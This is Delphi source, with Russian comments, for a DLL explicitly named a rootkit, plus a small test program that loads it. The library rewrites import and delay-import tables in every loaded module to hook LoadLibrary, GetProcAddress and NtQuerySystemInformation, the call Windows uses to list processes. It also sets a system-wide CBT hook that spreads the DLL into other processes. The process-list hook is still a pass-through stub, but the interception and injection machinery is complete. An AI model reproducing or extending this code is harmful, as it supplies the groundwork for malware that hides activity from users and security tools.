library rootkit_lib;
uses
  Windows,
  SysUtils,
  Classes,
  TlHelp32;

const
 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13; // Delay Load Import Descriptors
type
  TImageImportDescriptor = packed record  // (В C++ это IMAGE_IMPORT_DESCRIPTOR)
    OriginalFirstThunk : DWORD; // Ранее это поле называлось Characteristics; в целях сохранения
    TimeDateStamp      : DWORD; // 0, если импортирование осуществляется без привязки (binding - см. далее)
                                // При импортировании с привязкой содержит отметку времени файла, из которого идет импорт
    ForwarderChain     : DWORD; //
    Name               : DWORD; // Адрес ASCIIZ-строки с именем файла, из которого импортируем функции
    FirstThunk         : DWORD; // Виртуальный адрес подтаблицы импортируемых символов
  end;
  PImageImportDescriptor=^TImageImportDescriptor;

 SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation, 
 SystemProcessorInformation, 
 SystemPerformanceInformation, 
 SystemTimeOfDayInformation, 
 SystemNotImplemented1, 
 SystemProcessesAndThreadsInformation, 
 SystemCallCounts, 
 SystemConfigurationInformation, 
 SystemProcessorTimes, 
 SystemGlobalFlag, 
 SystemNotImplemented2, 
 SystemModuleInformation, 
 SystemLockInformation, 
 SystemNotImplemented3, 
 SystemNotImplemented4, 
 SystemNotImplemented5, 
 SystemHandleInformation, 
 SystemObjectInformation, 
 SystemPagefileInformation, 
 SystemInstructionEmulationCounts, 
 SystemInvalidInfoClass1, 
 SystemCacheInformation, 
 SystemPoolTagInformation, 
 SystemProcessorStatistics, 
 SystemDpcInformation, 
 SystemNotImplemented6, 
 SystemLoadImage, 
 SystemUnloadImage, 
 SystemTimeAdjustment, 
 SystemNotImplemented7, 
 SystemNotImplemented8, 
 SystemNotImplemented9, 
 SystemCrashDumpInformation, 
 SystemExceptionInformation, 
 SystemCrashDumpStateInformation, 
 SystemKernelDebuggerInformation, 
 SystemContextSwitchInformation, 
 SystemRegistryQuotaInformation, 
 SystemLoadAndCallImage, 
 SystemPrioritySeparation, 
 SystemNotImplemented10, 
 SystemNotImplemented11, 
 SystemInvalidInfoClass2, 
 SystemInvalidInfoClass3, 
 SystemTimeZoneInformation, 
 SystemLookasideInformation, 
 SystemSetTimeSlipEvent, 
 SystemCreateSession, 
 SystemDeleteSession, 
 SystemInvalidInfoClass4, 
 SystemRangeStartInformation, 
 SystemVerifierInformation, 
 SystemAddVerifier,
 SystemSessionProcessesInformation
);

  // Таблица отложенного импорта (В C++ ImgDelayDescr в include\delayimp.h)
  TImgDelayDescr = packed record
    grAttrs      : DWORD; // Атрибуты (тип адресации: 0 - RVA, 1 - VA)
    rvaDLLName   : DWORD; // RVA имени DLL
    rvaHmod      : DWORD; // handle библиотеки (заполняется загрузчиком)
    rvaIAT       : DWORD; // Таблица адресов функций, последняя ячейка содержит 0
    rvaINT       : DWORD; // Таблица указателе на имена функций, последняя ячейка содержит 0
    rvaBoundIAT  : DWORD; // DWORD of the optional bound IAT
    rvaUnloadIAT : DWORD; // DWORD of optional copy of original IAT
    dwTimeStamp  : DWORD; // 0 if not bound, date/time stamp of DLL bound to (Old BIND)
  end;
  PImgDelayDescr = ^TImgDelayDescr;

  TGetProcAddress = function (hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
  TLoadLibrary    = function (lpLibFileName: PChar): HMODULE; stdcall;
  TLoadLibraryA   = function (lpLibFileName: PAnsiChar): HMODULE; stdcall;
  TLoadLibraryW   = function (lpLibFileName: PWideChar): HMODULE; stdcall;
  TNtQuerySystemInformation = function (SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
                                    SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;


function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
  DirectoryEntry: Word; var Size: DWORD): Pointer; stdcall;
    external 'imagehlp.dll' name 'ImageDirectoryEntryToData';


type
 TInterceptInfo = record
  LibraryName : string;
  OldFunction : Pointer;
  NewFunction : Pointer;
 end;
var
 InterceptedFunctionsList : array of TInterceptInfo;
 OldGetProcAddress : TGetProcAddress;
 OldLoadLibrary    : TLoadLibrary;
 OldLoadLibraryA   : TLoadLibraryA;
 OldLoadLibraryW   : TLoadLibraryW;
 OldNtQuerySystemInformation:TNtQuerySystemInformation;
 HookHandle   : hHook;      // Handle, возвращаемый SetWindowsHookEx
// Замена в IAT модуля AModule адреса OldFunct на NewFunct
function ReplaceIATEntry(AModule: hModule; ALibName : string; OldFunct, NewFunct: Pointer) : boolean;
var
  IAT_Size            : ULONG;                  // Размер IAT
  ImportDescriptorPtr : PImageImportDescriptor; // Указатель на IAT
  LibImportDescriptor : PImageImportDescriptor; // Указатель на запись IAT заданнйо DLL
  ThunkPtr            : LPDWORD;
  OldProtect, Tmp     : dword;
begin
 Result := false;
 // 1. Поиск IAT
 ImportDescriptorPtr := ImageDirectoryEntryToData(Pointer(AModule), TRUE,
    IMAGE_DIRECTORY_ENTRY_IMPORT, IAT_Size);
 // IAT не найдена - дальнейшее продолжение анализа невозможно
 if ImportDescriptorPtr = nil then exit;
 LibImportDescriptor := nil;
 // 2. Поиск секции импорта из DLL с именем ALibName
 while ImportDescriptorPtr.Name <> 0 do begin
  if (lstrcmpiA(PChar(AModule + ImportDescriptorPtr.Name), PChar(ALibName)) = 0) then begin
   LibImportDescriptor := ImportDescriptorPtr;
   // 3. Поиск адреса перехватываемой функции в таблице
   ThunkPtr := LPDWORD(AModule + LibImportDescriptor.FirstThunk);
   while ThunkPtr^ <> 0 do begin
    // Адрес найден ? Если да, то выполним его замену на заданный
    if (pointer(ThunkPtr^) = OldFunct) then begin
     // Настройка защиты - разрешим запись в эту страницу
     VirtualProtect(ThunkPtr, 4, PAGE_READWRITE, OldProtect);
     // Запись
     WriteProcessMemory(GetCurrentProcess, ThunkPtr, @NewFunct, 4, Tmp);
     // Восстановление атрибутов защиты
     VirtualProtect(ThunkPtr, 4, OldProtect, Tmp);
     Result := true;
    end;
    Inc(ThunkPtr);
   end;
  end;
  Inc(ImportDescriptorPtr);
 end;
end;

// Замена в DIT модуля AModule адреса OldFunct на NewFunct
function ReplaceDITEntry(AModule: hModule; ALibName : string; OldFunct, NewFunct: Pointer) : boolean;
var
  DIT_Size            : ULONG;          // Размер DIT
  ImgDelayDescr       : PImgDelayDescr; // Указатель на DIT
  LibImgDelayDescr    : PImgDelayDescr; 
  ThunkPtr            : LPDWORD;
  OldProtect, Tmp     : dword;
  RVARel              : hModule;
begin
Result := false;
 // 1. Поиск DIT
 ImgDelayDescr := ImageDirectoryEntryToData(Pointer(AModule), TRUE,
    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT, DIT_Size);
 // DIT не найдена - дальнейшее продолжение анализа невозможно
 if ImgDelayDescr = nil then exit;
 LibImgDelayDescr := nil;
 // 2. Поиск секции Delay Import из DLL с именем ALibName
 while ImgDelayDescr.rvaDLLName <> 0 do begin
  // Учет метода адресации RVA/VA.
  if ImgDelayDescr.grAttrs = 1 then RVARel := AModule
   else RVARel := 0;
  if (lstrcmpiA(PChar(RVARel + ImgDelayDescr.rvaDLLName),
                PChar(ALibName)) = 0) then begin
   LibImgDelayDescr := ImgDelayDescr;
   // 3. Поиск адреса перехватываемой функции в таблице
   ThunkPtr := LPDWORD(RVARel + LibImgDelayDescr.rvaIAT);
   while ThunkPtr^ <> 0 do begin
    // Адрес найден? Если да, то выполним его замену на заданный
    if (pointer(ThunkPtr^) = OldFunct) then begin
     // Настройка защиты - разрешим запись в эту страницу
     VirtualProtect(ThunkPtr, 4, PAGE_READWRITE, OldProtect);
     // Запись
     WriteProcessMemory(GetCurrentProcess, ThunkPtr, @NewFunct, 4, Tmp);
     // Восстановление атрибутов защиты
     VirtualProtect(ThunkPtr, 4, OldProtect, Tmp);
     Result := true;
    end;
    Inc(ThunkPtr);
   end;
  end;
  Inc(ImgDelayDescr);
 end;
end;

function InterceptFunction(ALibName : string; OldFunct, NewFunct: Pointer) : boolean;
var
  hSnapshot : THandle;
  me32      : TModuleEntry32;
begin
 Result := false;
 // Создание "снимка" модулей текущего процесса
 hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId);
 if hSnapshot = INVALID_HANDLE_VALUE then
  exit;
 me32.dwSize := SizeOf(TModuleEntry32);
 if (Module32First(hSnapshot, me32)) then
  repeat
   // Модификация таблицы импорта
   ReplaceIATEntry(me32.hModule, ALibName, OldFunct, NewFunct);
   // Модификация таблицы отложенного импорта
   ReplaceDITEntry(me32.hModule, ALibName, OldFunct, NewFunct);
  until not(Module32Next(hSnapshot, me32));
 CloseHandle(hSnapshot);
 Result := true;
end;

function InterceptFunctionEx(ALibName, AFunctName : string; var OldFunct : pointer; NewFunct: Pointer; ADoLoadLibrary : boolean = false) : boolean;
begin
 Result := false;
 OldFunct := GetProcAddress(GetModuleHandle(PChar(ALibName)), PChar(AFunctName));
 if (OldFunct = nil) and ADoLoadLibrary then
  OldFunct := GetProcAddress(LoadLibrary(PChar(ALibName)),
                             PChar(AFunctName));
 if OldFunct = nil then exit;
 // Функция уже перехвачена ?
 if OldFunct = NewFunct then exit;
  Result := InterceptFunction(ALibName, OldFunct, NewFunct);
 SetLength(InterceptedFunctionsList, Length(InterceptedFunctionsList)+1);
 with InterceptedFunctionsList[Length(InterceptedFunctionsList)-1] do begin
  LibraryName := ALibName;
  OldFunction := OldFunct;
  NewFunction := NewFunct;
 end;
end;

function InterceptModuleFunctions(hModule : THandle) : boolean;
var
 i : integer;
begin
 for i := 0 to Length(InterceptedFunctionsList)-1 do
  with InterceptedFunctionsList[i] do begin
   // Модификация таблицы импорта
   ReplaceIATEntry(hModule, LibraryName, OldFunction, NewFunction);
   // Модификация таблицы отложенного импорта
   ReplaceDITEntry(hModule, LibraryName, OldFunction, NewFunction);
  end;
end;

function myNtQuerySystemInformation(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
begin
   Result:=OldNtQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
   //MessageBox(0,'111','111',0);
end;

function myGetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
var
 i : integer;
begin
 Result := OldGetProcAddress(hModule, lpProcName);
 // Вызов GetProcAddress вернул адрес ?? Проверим, не перехвачена ли эта функция
 if Result <> nil then
  for i := 0 to Length(InterceptedFunctionsList)-1 do
   if InterceptedFunctionsList[i].OldFunction = Result then begin
    // Функция перехвачена, вернем адрес перехватчика
    Result := Pointer(InterceptedFunctionsList[i].NewFunction);
    Break;
   end;
end;

function myLoadLibraryA(lpLibFileName: PAnsiChar): HMODULE; stdcall;
var
 Loaded : boolean;
begin
 // Признак того, что DLL уже загружена
 Loaded := GetModuleHandleA(lpLibFileName) <> INVALID_HANDLE_VALUE;
 Result := OldLoadLibraryA(lpLibFileName);
 // Это загрузка новой DLL ??
 if (Result <> INVALID_HANDLE_VALUE) and not(Loaded) then
  InterceptModuleFunctions(Result);
end;

function myLoadLibraryW(lpLibFileName: PWideChar): HMODULE; stdcall;
var
 Loaded : boolean;
begin
 // Признак того, что DLL уже загружена
 Loaded := GetModuleHandleW(lpLibFileName) <> INVALID_HANDLE_VALUE;
 Result := OldLoadLibraryW(lpLibFileName);
 // Это загрузка новой DLL ??
 if (Result <> INVALID_HANDLE_VALUE) and not(Loaded) then
  InterceptModuleFunctions(Result);
end;


// Функция-обработчик перехватчика
function KeyHook(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
begin
 // Вызов следующего в цепочке обработчика
 Result := CallNextHookEx(HookHandle, nCode, WParam, LParam);
end;

begin
 InterceptedFunctionsList := nil;
 // Перехват LoadLibrary*
 InterceptFunctionEx('kernel32.dll','LoadLibraryA',
                     @OldLoadLibraryA, @myLoadLibraryA);
 InterceptFunctionEx('kernel32.dll','LoadLibraryW',
                     @OldLoadLibraryW, @myLoadLibraryW);
 // Перехват GetProcAddress
 InterceptFunctionEx('kernel32.dll','GetProcAddress',
                     @OldGetProcAddress, @myGetProcAddress);
 // Перехват NtQuerySystemInformation
 InterceptFunctionEx('ntdll.dll','NtQuerySystemInformation',
                     @OldNtQuerySystemInformation, @myNtQuerySystemInformation);
 


 HookHandle      := SetWindowsHookEx(WH_CBT, @KeyHook, HInstance, 0);
end.

program rktest1;
uses
  windows,
  Forms;
var
 H : THandle;
begin
 H := LoadLibrary('rootkit_lib.dll');
 MessageBox(0, 'Message3', 'Rootkit', 0);
end.